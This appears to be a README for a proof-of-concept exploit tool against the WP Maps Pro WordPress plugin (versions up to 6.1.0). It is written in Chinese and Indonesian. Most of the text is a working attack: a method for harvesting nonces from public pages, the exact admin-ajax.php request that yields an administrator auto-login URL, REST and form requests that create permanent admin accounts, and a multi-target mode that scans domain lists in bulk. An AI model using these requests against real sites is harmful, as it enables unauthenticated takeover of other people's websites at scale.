WordPress 插件 WP Maps Pro 版本 ≤ 6.1.0 存在未认证权限提升漏洞。攻击者无需任何凭据即可创建 administrator 帐户并完全控制网站。
该漏洞源于专为 FlipperCode 供应商支持团队设计的 "Temporary Access" 功能,但该功能在缺乏充分保护的情况下暴露给公众。
| 信息 | 详情 |
|---|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8(严重)— AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 插件 | WP Maps Pro (wp-google-map-gold) |
| 供应商 | FlipperCode |
| 受影响版本 | ≤ 6.1.0 |
| 已修补版本 | 6.1.1 |
| 类型 | 关键功能缺少身份验证 (CWE-306) |
| 影响 | 未认证创建管理员 → 完全控制网站 |
| PoC 作者 | XENON1337 |
┌──────────────────────────────────────────────────────────────┐
│ KELEMAHAN 1 — Endpoint Terekspos Tanpa Autentikasi │
│ ▸ AJAX action didaftarkan dengan wp_ajax_nopriv_ │
│ ▸ Siapapun bisa mengakses tanpa login │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ KELEMAHAN 2 — Nonce Bocor di Halaman Publik │
│ ▸ Objek wpgmp_local.nonce disematkan di setiap halaman │
│ ▸ Penyerang bisa mengekstrak nonce dari HTML source │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ KELEMAHAN 3 — Tidak Ada Pemeriksaan Hak Akses │
│ ▸ Fungsi callback hanya memverifikasi nonce │
│ ▸ Tidak ada current_user_can() — tidak ada pertahanan lain│
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ FASE 1 │──▶│ FASE 2 │──▶│ FASE 3 │──▶│ FASE 4 │
│ RESOLVE │ │ CHECK WP │ │ DETECT │ │ VERSION │
│ HTTPS? │ │ wp-content│ │ PLUGIN │ │ ≤6.1.0? │
│ HTTP? │ │ wp-login │ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ RENTAN
▼
┌──────────────────────────────────────────────────────────┐
│ FASE 5 — EKSTRAKSI NONCE │
│ │
│ GRUP A (API) GRUP B (Konten) GRUP C │
│ ├─ M1: REST pages ├─ M4: Sitemap XML └─ M7: Slug │
│ ├─ M2: REST search ├─ M5: Homepage links Brute │
│ └─ M3: rest_route └─ M6: RSS/Atom feed Force │
│ │
│ Target: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ NONCE DITEMUKAN
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ FASE 6 │──▶│ FASE 7 │──▶│ FASE 8 │
│ EXPLOIT │ │ VERIFY │ │ ADD ADMIN│
│ POST AJAX│ │ Magic URL│ │ PERMANEN │
│ nonce+ │ │ Cookie │ │ REST API │
│ check_ │ │ login │ │ WP-Admin │
│ temp=false│ │ check │ │ Form │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ ADMIN DIBUAT
Login: wp_xxxx / pass
Role: administrator
| 阶段 | 名称 | 功能 | 请求数 |
|---|---|---|---|
| 1 | Resolve | 并行选择 HTTPS/HTTP | 1 |
| 2 | Check WP | 验证目标是否为 WordPress | 0 |
| 3 | Detect Plugin | 在 3 个层面检查 WP Maps 特征 | 0-4 |
| 4 | Version + WAF | 读取 readme.txt / CSS ?ver= + 检测 WAF | 1 |
| 5 | Nonce 提取 | 3 个并行组共 7 种搜索方法 | 0-150 |
| 6 | 漏洞利用 | POST admin-ajax.php → 创建临时管理员帐户 | 1 |
| 7 | 验证 | 访问 magic URL → 确认管理员会话 | 2 |
| 8 | 添加管理员 | REST API(主要)+ WP-Admin 表单(备用) | 4 |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<EKSTRAKSI_NONCE>
check_temp=false
若存在漏洞,响应为:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
该 Magic URL 会以
fc_user_XXXXX(角色:administrator)的身份提供自动登录。
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- KUNCI: konfirmasi password lemah
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
关键点: 必须包含
pw_weak=1— 没有此参数,WordPress 会拒绝弱密码。
CVE-2026-8732.py
│
├── 📦 NonceFinder — Pencari nonce dengan 7 metode
│ ├── Grup A (API): M1 REST pages, M2 REST search, M3 rest_route
│ ├── Grup B (Konten): M4 Sitemap, M5 Homepage links, M6 RSS feed
│ └── Grup C (Paksa): M7 Slug brute force (30+ slug umum)
│
├── ⚔️ Exploiter — Mesin eksploitasi 8 fase
│ ├── resolve() → Fase 1: Pemilihan protokol
│ ├── check_wp() → Fase 2: Verifikasi WordPress
│ ├── detect_plugin() → Fase 3: Deteksi plugin + early nonce
│ ├── detect_version() → Fase 4: Deteksi versi + WAF
│ ├── exploit() → Fase 6: Eksploitasi inti
│ ├── verify() → Fase 7: Verifikasi login admin
│ └── add_admin() → Fase 8: Tambah admin permanen
│
├── 🔧 Worker Process — Proses pekerja multiprocessing
│ ├── producer() → Baca domain dari mp.Queue
│ └── consumer() (N) → Eksekusi scan paralel
│
└── 🖥️ Scanner — Antarmuka pengguna
├── single() → Mode target tunggal (interaktif)
└── multi() → Mode multi-target (massal)
targets.txt mp.Queue (tugas) asyncio.Queue
┌─────────┐ ┌─────────────────┐ ┌──────────────────┐
│ domain1 │───▶│ domain queue │───▶│ internal queue │
│ domain2 │ │ (IPC antara │ │ (per proses) │
│ domain3 │ │ proses) │ └────────┬─────────┘
│ ... │ └─────────────────┘ │
└─────────┘ ┌─────────▼──────────┐
│ Konsumen (N) │
│ Exploiter.scan() │
│ 8 fase lengkap │
└─────────┬──────────┘
│
┌─────────▼──────────┐
│ mp.Queue (hasil) │──▶ vuln.txt
│ + JSON + TXT │ + debug.log
└────────────────────┘
pip install aiohttp
python3 CVE-2026-8732.py
[?] Pilih mode:
1. Single Target
2. Multi Target (file list)
> 1
[?] Target domain (tanpa http/https): target.com
[?] Timeout [default: 15]: 15